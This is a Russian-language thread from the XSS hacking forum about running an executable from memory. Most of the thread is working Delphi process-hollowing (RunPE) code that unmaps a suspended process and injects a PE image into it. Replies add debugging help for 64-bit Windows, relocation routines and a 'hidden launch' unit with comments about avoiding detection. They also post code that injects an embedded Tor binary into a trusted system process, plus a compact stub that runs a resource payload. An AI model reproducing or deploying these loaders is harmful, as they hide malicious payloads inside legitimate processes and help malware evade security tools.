• XSS.stack #1 – первый литературный журнал от юзеров форума

Запуск EXE из памяти

chromium

RAID-массив
Пользователь
Регистрация
29.09.2018
Сообщения
87
Реакции
46
Нашел такой код. На ХР работает, на 7х64 показывает, что "калькулятор должен запускаться на ХР и выше". Что с кодом не так?

Код:
program MyProgram;
 
{$APPTYPE CONSOLE}
 
uses
  Windows, SysUtils;
 
type
 
  PVOID      = Pointer;
  NTSTATUS   = LongInt;
 
  THandle = LongWord;
 
  PImageSectionHeaders = ^TImageSectionHeaders;
 
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
 
function ZwUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: PVoid): NtStatus; stdcall;
external 'ntdll.dll' name 'ZwUnmapViewOfSection';
 
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
  Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
                                 NTHeader.FileHeader.SizeOfOptionalHeader);
End;
 
Function Protect(Characteristics: ULONG): ULONG;
Const
  Mapping       :Array[0..7] Of ULONG = (
                 PAGE_NOACCESS,
                 PAGE_EXECUTE,
                 PAGE_READONLY,
                 PAGE_EXECUTE_READ,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE  );
Begin
  Result := Mapping[ Characteristics SHR 29 ];
End;
 
procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar);
Var
  BaseAddress           :Pointer;
  I                     :ULONG;
  Success               :Boolean;
  NTHeaders             :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  StartupInfo           :TStartupInfo;
  OldProtect            :ULONG;
  BytesRead             :DWORD;
  ProcessInfo           :TProcessInformation;
  BytesWritten          :DWORD;
  Context               :TContext;
Begin
  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
 
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.wShowWindow := Word(false);
 
  If (CreateProcess(ProcessName, Parameters, NIL, NIL,
                    False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
 
  Begin
    Success := True;
 
    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
         (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
         (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
         (Assigned(Buffer))) Then
         Begin
           NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
           BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                          Pointer(NTHeaders.OptionalHeader.ImageBase),
                                          NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                          PAGE_READWRITE);
           If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
              Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                         Pointer(Cardinal(BaseAddress) +
                                                 Sections[i].VirtualAddress),
                                         Pointer(Cardinal(Buffer) +
                                                 Sections[i].PointerToRawData),
                                         Sections[i].SizeOfRawData, BytesWritten)) Then
                     VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[i].VirtualAddress),
                                      Sections[i].Misc.VirtualSize,
                                      Protect(Sections[i].Characteristics),
                                      OldProtect);
 
                If (WriteProcessMemory(ProcessInfo.hProcess,
                                       Pointer(Context.Ebx + 8), @BaseAddress,
                                       SizeOf(BaseAddress), BytesWritten)) Then
                   Begin
                     Context.Eax := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;
                     Success := SetThreadContext(ProcessInfo.hThread, Context);
                   End;
              End;
         End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      Else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;
 
var
A: Array of Byte;
F: THandle;
lpSize: Cardinal;
begin
F:=CreateFile(PChar('calc.exe'), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_ALWAYS, 0, 0);
SetLength(A, GetFileSize(F, nil));
ReadFile(F, A[0], Length(A), lpSize, nil);
CloseHandle(F);
 
MemoryExecute(@A[0], PChar('calc.exe'), '"%1" %*');
 
ReadLn;
end.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Напиши свой код. Грузи в память весь статический код программы, и создавай новый поток на адресе OEP, и всё должно заработать если подгружены все нужные либы)
 
Нашел похожий код, может, попробуете:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Напиши свой код. Грузи в память весь статический код программы, и создавай новый поток на адресе OEP, и всё должно заработать если подгружены все нужные либы)

Для запуска нужно:
1. Разнести секции по виртуальным адресам которые указаны в хидере.
2. Инициализировать таблицу импорта.
3. Применить релоки.
(если есть, если нет, то адрес алоченой памяти, для РЕ файла,должен быть на адресу указанному в ImageBase в хидере)
4. Создать или перенаправить поток на ОЕР.
По сути, необходимо эмулировать работу NTLDR.

P.S. бездумно копипастить чужой код - хреновая практика. Нужно понимание, в первую очередь, РЕ формата.
 
Последнее редактирование:
Для запуска нужно:
1. Разнести секции по виртуальным адресам которые указаны в хидере.
2. Инициализировать таблицу импорта.
3. Применить релоки.
(если есть, если нет, то адрес алоченой памяти, для РЕ файла,должен быть на адресу указанному в ImageBase в хидере)
4. Создать или перенаправить поток на ОЕР.
По сути, необходимо эмулировать работу NTLDR.

P.S. бездумно копипастить чужой код - хреновая практика. Нужно понимание, в первую очередь, РЕ формата.
Как начать понимать pe формат? Что почитать на русском для этого?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как начать понимать pe формат? Что почитать на русском для этого?
Доходчиво все расписано.
 
Формат файла PE состоит из заголовков и разделов.

Существует 2 разных состояния исполняемого файла/dll.

НА ДИСКЕ
и
В ПАМЯТИ

когда на диске все плотнее для экономии места, выравнивание разделов часто 0x200 (512 байт), когда вы просматриваете файл pe на диске, и выравнивание часто 0x1000 (4096 байт), когда они записываются (сопоставляются) в память .

это важно, потому что вы не можете просто скопировать файл с диска и записать в память... вы должны разместить разделы, выровненные по 0x1000 байт...

это означает, что если ваш исполняемый файл имеет IMAGE BASE 0x00400000 (это значение очень распространено), это означает, что ваш исполняемый файл ЗАПУСКАЕТСЯ по адресу 0x00400000 в памяти... если вы открываете очень простой исполняемый файл, скомпилированный в "delphi", например, с использованием x64dbg (очень хороший инструмент, чтобы начать понимать, как что-то выполняется в памяти), и если перейти по адресу 0x00400000, вы увидите MZ (символы)...

потому что это подпись заголовка PE... там начинается ваш PE-файл...

тогда у вас есть заголовки... если заголовки не очень большие... первый раздел будет по адресу 0x00400000 + 0x1000

Почему?

потому что в памяти разделы выровнены по 0x1000 байт...

разделы будут следовать один за другим... сколько разделов будет указано в заголовке вашего pe-файла...

Я даю вам общую картину, чтобы вы могли понять, как все происходит, вы захотите понять ее подробно в долгосрочной перспективе ... но полегче, это тема с большим количеством деталей, вы должны рассматривать ее медленно и начать это может быть ошеломляюще, но продолжайте копать, и в конце концов вы будете владеть этим ...

еще одна важная вещь, вам нужно загрузить все импорты (другие dll, которые нужны pe)

Я полагаю, что именно поэтому calc.exe не запускается, хотя я не совсем уверен...

последнее, что нужно сделать, это исправить перемещение баз... но эти две темы немного запутались в кроличьей норе...

получите несколько кодов, которые уже работают, и начните понимать, что они делают...


Есть несколько фрагментов из моих старых золотых дней, когда я изучал это, которые могут вам помочь.


Я скучаю по aphex, steve10120, ic0de, hackhound... это были хорошие времена... лол
 
If running on x64 machine, probably is spawns 64-bit calc.exe. Then this code does not work because it expects a 32-bit process. For example, these will be different for x64 process:

Код:
(ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),

Код:
 Context.Eax := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;
Also if the payload has relocations, then you must fix relocations. Easier to do this before copying the payload sections into remote process.

So I suggest, check that the calc.exe spawned is 32-bit process. If not, then try to set this something like
Код:
MemoryExecute(@A[0], PChar('C:\Windows\SysWOW64\cmd.exe'), '"%1" %*');
 
Пример запуска tor:

Код:
begin 
 
    Result := False; 
 
    ControlCount := 10; // Количество попыток подключения к порту управления 
    InjectCount := 50; // Количество попыток инжекта в доверенный процесс 
 
    // Распаковка и инжектирование TOR 
    LogFileAdd('Распаковка TOR в память'); 
 
    if 0 <> FindResource(hInstance, 'wUKEeofuNlkwloHTzqsG', RT_RCDATA) then 
    begin 
 
      TResource := TResourceStream.Create(hInstance, 'wUKEeofuNlkwloHTzqsG', RT_RCDATA); 
      try 
 
        while InjectCount > 0 do 
        begin 
 
          LogFileAdd(TorParamStr); 
 
          // Инжектирование 
          if ExecuteFromMem(SystemDir + '\' + InjectName, TorParamStr, TResource.Memory) <> 0 then 
          begin 
 
            InjectCount := 0; 
            LogFileAdd('Инжекция выполнена успешно'); 
 
            // Задержка готовноси 
            Delay(5000); 
 
            // Авторизация на порте управления 
            while ControlCount > 0 do 
            begin 
              TCPClient := TIdTCPClient.Create(nil); 
              try 
                try 
                  TCPClient.Host := '127.0.0.1'; 
                  TCPClient.Port := ControlPort; 
                  TCPClient.ConnectTimeout := 5000; // 5.0 sec 
                  TCPClient.ReadTimeout := 5000; // 5.0 sec 
                  TCPClient.Connect; 
                  TCPClient.SendCmd('AUTHENTICATE "50kgyRAnE36swzz9JKV4"'); 
                  //TCPClient.SendCmd('SIGNAL NEWNYM'); 
                  if TCPClient.LastCmdResult.Code = '250' then 
                  begin 
                    LogFileAdd('Авторизация на порте управления прошла успешно код:250'); 
                    TCPClient.SendCmd('GETINFO status/bootstrap-phase'); 
                    TorStatus := TCPClient.LastCmdResult.Text.Text; 
                    LogFileAdd('Фаза готовности: ' + TorStatus); 
                  end 
                  else 
                    LogFileAdd('Ошибка авторизации на порте управления ' + TCPClient.LastCmdResult.Code); 
 
                  if pos('SUMMARY="Done"', TorStatus) <> 0 then 
                  begin 
                    LogFileAdd('TOR готов к отправке трафика - OK'); 
                    ControlCount := 0; 
                    Result := True; 
                  end 
                  else 
                  begin 
                    LogFileAdd('TOR к отправке не готов, проверяю статус повторно...'); 
                    ControlCount := ControlCount - 1; 
                    Delay(1000); 
                  end; 
                except 
                  on E: Exception do 
                  begin 
                    ControlCount := ControlCount - 1; 
                    LogFileAdd('Ошибка подключения к порту управления: ' + E.Message); 
                  end; 
                end; 
              finally 
                if TCPClient.Connected then 
                begin 
                  TCPClient.Disconnect; 
                end; 
                TCPClient.Free; 
              end; 
            end; 
          end 
          else 
          begin 
            InjectCount := InjectCount - 1; 
            delay(100);  // Защитная задержка цикла инжекции (Иначе ЦП будет перегружен) 
            LogFileAdd('Ошибка инжекции, блок памяти занят ! повтор...'); 
          end; 
        end; 
      finally 
        TResource.Free; 
      end; 
    end; 
end;

Пример юнита со скрытым запуском. Win64

Код:
unit UExecFromMem;      // REV 1.3S // Запуск в памяти 
 
interface 
 
uses 
  Windows; 
 
var 
  EFM_PID: integer; 
 
function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer): DWORD; 
 
implementation 
 
uses 
  Utor, UUploadExecute; 
 
function NtUnmapViewOfSection(ProcessHandle: DWORD; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll'; 
 
type 
  PImageBaseRelocation = ^TImageBaseRelocation; 
 
  TImageBaseRelocation = packed record 
    VirtualAddress: DWORD; 
    SizeOfBlock: DWORD; 
  end; 
 
procedure PerformBaseRelocation(f_module: Pointer; INH: PImageNtHeaders; f_delta: Cardinal); stdcall; 
var 
  l_i: Cardinal; 
  l_codebase: Pointer; 
  l_relocation: PImageBaseRelocation; 
  l_dest: Pointer; 
  l_relInfo: ^Word; 
  l_patchAddrHL: ^DWord; 
  l_type, l_offset: integer; 
begin 
  l_codebase := f_module; 
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then 
  begin 
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress); 
    while l_relocation.VirtualAddress > 0 do 
    begin 
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress)); 
      l_relInfo := Pointer(Cardinal(l_relocation) + 8); 
      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do 
      begin 
        l_type := (l_relInfo^ shr 12); 
        l_offset := l_relInfo^ and $FFF; 
        if l_type = 3 then 
        begin 
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset)); 
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta; 
        end; 
        inc(l_relInfo); 
      end; 
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock); 
    end; 
  end; 
end; 
 
function AlignImage(pImage: Pointer): Pointer; 
var 
  IDH: PImageDosHeader; 
  INH: PImageNtHeaders; 
  ISH: PImageSectionHeader; 
  i: WORD; 
begin 
  IDH := pImage; 
  INH := Pointer(Integer(pImage) + IDH^._lfanew); 
  GetMem(Result, INH^.OptionalHeader.SizeOfImage); 
  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage); 
  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders); 
  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do 
  begin 
    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40); 
    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData); 
  end; 
end; 
 
function Get4ByteAlignedContext(var Base: PContext): PContext; 
begin 
  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE); 
  Result := Base; 
  if Base <> nil then 
    while ((DWORD(Result) mod 4) <> 0) do 
      Result := Pointer(DWORD(Result) + 1); 
end; 
 
function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer): DWORD; 
var 
  PI: TProcessInformation; 
  SI: TStartupInfo; 
  CT: PContext; 
  CTBase: PContext; 
  IDH: PImageDosHeader; 
  INH: PImageNtHeaders; 
  dwImageBase: DWORD; 
  pModule: Pointer; 
  dwNull: SIZE_T; 
begin 
  if szParams <> '' then 
    szParams := '"' + szFilePath + '" ' + szParams; 
 
  Result := 0; 
  IDH := pFile; 
  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then 
  begin 
    INH := Pointer(Integer(pFile) + IDH^._lfanew); 
    if INH^.Signature = IMAGE_NT_SIGNATURE then 
    begin 
      FillChar(SI, SizeOf(TStartupInfo), #0); 
      FillChar(PI, SizeOf(TProcessInformation), #0); 
      SI.cb := SizeOf(TStartupInfo); 
      SI.dwFlags := STARTF_USESHOWWINDOW; 
      SI.wShowWindow := SW_SHOW;   // Скрываем окно принудительно 
 
      SetSystemCursor(CopyIcon(LoadCursor(0, IDC_ARROW)), OCR_APPSTARTING); // Скрываем курсор с часами 
 
      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then // Суспенд палят 
      begin 
        CT := Get4ByteAlignedContext(CTBase); 
        if CT <> nil then 
        begin 
          CT.ContextFlags := CONTEXT_FULL; 
          if GetThreadContext(PI.hThread, CT^) then 
          begin 
            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull); 
            if dwImageBase = INH^.OptionalHeader.ImageBase then 
            begin 
              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then 
                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE) 
              else 
                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Просим резервацию на запись в своем контексте 
            end 
            else 
              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
            if pModule <> nil then 
            begin 
              pFile := AlignImage(pFile); 
              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then 
              begin 
                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase)); 
                INH^.OptionalHeader.ImageBase := DWORD(pModule); 
                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248); 
              end; 
              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull); 
              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull); 
              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint; // Смещаемя относительно заголовка PE 
              SetThreadContext(PI.hThread, CT^); 
              ResumeThread(PI.hThread); 
              Result := PI.hThread; 
            end; 
          end; 
          VirtualFree(CTBase, 0, MEM_RELEASE); // Освобдожаем занятый блок 
          EFM_PID:= PI.dwProcessId; 
        end; 
        if Result = 0 then 
          TerminateProcess(PI.hProcess, 0); 
      end; 
    end; 
  end; 
end; 
 
end.
 
Простой способ запуска ресурса из памяти:

Код:
uses
  Windows;

{$R My.res}

const
  mapping: array [0..7] of Cardinal = (1, $10, 2, $20, 4, $40, 4, $40);

function ZwUnmapViewOfSection(SectionHandle: Cardinal; p: Pointer): Cardinal stdcall; external 'ntdll.dll';

var
  nb, i: Cardinal;
  pi: _PROCESS_INFORMATION;
  si: _STARTUPINFOA;
  x, p, q: Pointer;
  nt: PImageNtHeaders;
  context: _CONTEXT;
  sect: PImageSectionHeader;
begin
  si.cb := SizeOf(si);
  CreateProcessA(nil, GetCommandLineA, nil, nil, FALSE, 4, nil, nil, si, pi);
  context.ContextFlags := $10002;
  GetThreadContext(pi.hThread, context);
  ReadProcessMemory(pi.hProcess, PAnsiChar(context.ebx) + 8, @x, sizeof (x), nb);
  ZwUnmapViewOfSection(pi.hProcess, x);
  p := LockResource(LoadResource(hInstance, FindResourceA(hInstance, 'MIN', PAnsiChar(10))));
  if p = nil then exit;
  nt := PImageNtHeaders(PAnsiChar(p) + PImageDosHeader(p)._lfanew);
  q := VirtualAllocEx(pi.hProcess, Pointer(nt.OptionalHeader.ImageBase), nt.OptionalHeader.SizeOfImage, $3000, $40);
  WriteProcessMemory(pi.hProcess, q, p, nt.OptionalHeader.SizeOfHeaders, nb);
  sect := PImageSectionHeader(nt);
  Inc(PImageNtHeaders(sect));
  for I := 0 to nt.FileHeader.NumberOfSections - 1 do begin
    WriteProcessMemory(pi.hProcess, PAnsiChar(q) + sect.VirtualAddress, PAnsiChar(p) + sect.PointerToRawData, sect.SizeOfRawData, nb);
    VirtualProtectEx(pi.hProcess, PAnsiChar(q) + sect.VirtualAddress, sect.SizeOfRawData, mapping[sect.Characteristics shr 29], @x);
    Inc(sect);
  end;
  WriteProcessMemory(pi.hProcess, PAnsiChar(context.Ebx) + 8, @q, sizeof(q), nb);
  context.Eax := Cardinal(q) + nt.OptionalHeader.AddressOfEntryPoint;
  SetThreadContext(pi.hThread, context);
  ResumeThread(pi.hThread);
  ExitProcess(0);
end.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх